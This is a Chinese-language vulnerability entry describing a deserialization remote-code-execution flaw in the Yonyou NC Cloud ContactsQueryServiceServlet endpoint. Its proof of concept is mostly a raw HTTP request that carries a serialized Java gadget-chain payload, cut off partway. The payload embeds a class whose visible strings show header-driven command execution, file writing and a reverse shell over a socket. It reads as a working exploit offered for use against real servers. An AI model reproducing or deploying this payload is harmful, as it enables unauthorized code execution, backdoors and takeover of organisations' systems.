Description
用友 NC Cloud 是一种商业级的企业资源规划云平台，为企业提供全面的管理解决方案，包括财务管理、采购管理、销售管理、人力资源管理等功能，实现企业的数字化转型和业务流程优化。用友 NC Cloud 存在反序列化代码执行漏洞，攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web服务器。
用友 NC ContactsQueryServiceServlet 接口远程代码执行漏洞
PoC
POST /servlet/~uapim/nc.bs.pub.im.ContactsQueryServiceServlet HTTP/1.1
Host:
Accept-Encoding: gzip
Cmd: echo Fdf5B393f2Ff104
Connection: keep-alive
Content-Length: 8407
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
�� sr java.util.HashSet�D�����4 xpw ?@ sr 4org.apache.commons.collections.keyvalue.TiedMapEntry��қ9� � L keyt Ljava/lang/Object;L mapt Ljava/util/Map;xpt foosr *org.apache.commons.collections.map.LazyMapn唂�y� L factoryt ,Lorg/apache/commons/collections/Transformer;xpsr :org.apache.commons.collections.functors.ChainedTransformer0Ǘ�(z� [
iTransformerst -[Lorg/apache/commons/collections/Transformer;xpur -[Lorg.apache.commons.collections.Transformer;�V*��4� xp sr ;org.apache.commons.collections.functors.ConstantTransformerXv�A�� L iConstantq ~ xpvr *org.mozilla.javascript.DefiningClassLoader xpsr :org.apache.commons.collections.functors.InvokerTransformer���k{|�8 [ iArgst [Ljava/lang/Object;L iMethodNamet Ljava/lang/String;[ iParamTypest [Ljava/lang/Class;xpur [Ljava.lang.Object;��X�s)l xp ur [Ljava.lang.Class;���Z� xp t getDeclaredConstructoruq ~ vq ~ sq ~ uq ~ uq ~ t newInstanceuq ~ vq ~ sq ~ uq ~ t A4ur [B���T� xp ����� 1�
�
C �
C �
� �
�
� �
� � �
C � �
! � � � � � � �
� � � � � � � � � � � �
� �
� � � � �
� �
! � � � �
� � �
� �
� � �
� � � � �
� �
C �
� � �
! � �
! � �
! �
� � �
! � � � �
� � � � �
C �
C � � � �
� � �
� � �
L � �
N �
� �
N �
N
N
/
L
!
!
] �
]
]
h
h
h �
h
!"
t#
t
$
t$
t%
&'
&(
)*
) 2
C+
,
t-
/./0
�1
�23456 �78 BASE64_CHARS Ljava/lang/String;
ConstantValue9 ip port Ljava/lang/Integer; <init> ()V Code LineNumberTable
Exceptions loadClass %(Ljava/lang/String;)Ljava/lang/Class; Signature ((Ljava/lang/String;)Ljava/lang/Class<*>; proxy &(Ljava/lang/String;)Ljava/lang/String; write 8(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
clearParam exec reverse '(Ljava/lang/String;I)Ljava/lang/String; run decode (Ljava/lang/String;)[B
SourceFile A4.java � � :; <= >? threads @AB CD EF [Ljava/lang/Thread; GH IJ http target java/lang/Runnable this$0 handler java/lang/NoSuchFieldException K? global
processors java/util/List LMN OP QR req getResponse java/lang/Class ST java/lang/ObjectU VW getHeader java/lang/String cmd � � XY setStatusZ [\ ]^ $org.apache.tomcat.util.buf.ByteChunk � � _R setBytes [B `T doWrite java/lang/Exception java.nio.ByteBuffer wrap a � java/lang/ClassNotFoundException bcd ef command not null gH ##### hi � � : jk "command reverse host format error! � � lm � � java/lang/Thread �n o � $$$$$ file format error! � � @@@@@ � � java/io/File �p java/io/FileOutputStream �q � � �r s � t � uH vH wx os.namey z � {H win ping -n java/lang/StringBuilder |} -n 4 /c -t 4 sh -c~ � �� java/util/Scanner� �� �� \a �� QH �� � � /bin/sh cmd.exe �� java/net/Socket �� �� �P� �� ��� �� �� �� reverse execute error, msg -> �H ! reverse execute ok! �� � � sun.misc.BASE64Decoder decodeBuffer java.util.Base64
getDecoder &org.apache.commons.codec.binary.Base64 A4 @ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
currentThread ()Ljava/lang/Thread; getThreadGroup ()Ljava/lang/ThreadGroup; getClass ()Ljava/lang/Class; getDeclaredField -(Ljava/lang/String;)Ljava/lang/reflect/Field; java/lang/reflect/Field
setAccessible (Z)V get &(Ljava/lang/Object;)Ljava/lang/Object; getName ()Ljava/lang/String; contains (Ljava/lang/CharSequence;)Z
getSuperclass iterator ()Ljava/util/Iterator; java/util/Iterator hasNext ()Z next ()Ljava/lang/Object; getMethod @(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method; java/lang/reflect/Method invoke 9(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object; getBytes ()[B java/lang/Integer TYPE Ljava/lang/Class; valueOf (I)Ljava/lang/Integer; newInstance getDeclaredMethod forName getContextClassLoader ()Ljava/lang/ClassLoader; java/lang/ClassLoader equals (Ljava/lang/Object;)Z trim
startsWith (Ljava/lang/String;)Z split '(Ljava/lang/String;)[Ljava/lang/String; parseInt (Ljava/lang/String;)I (Ljava/lang/Runnable;)V start (Ljava/l...[已截断]
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.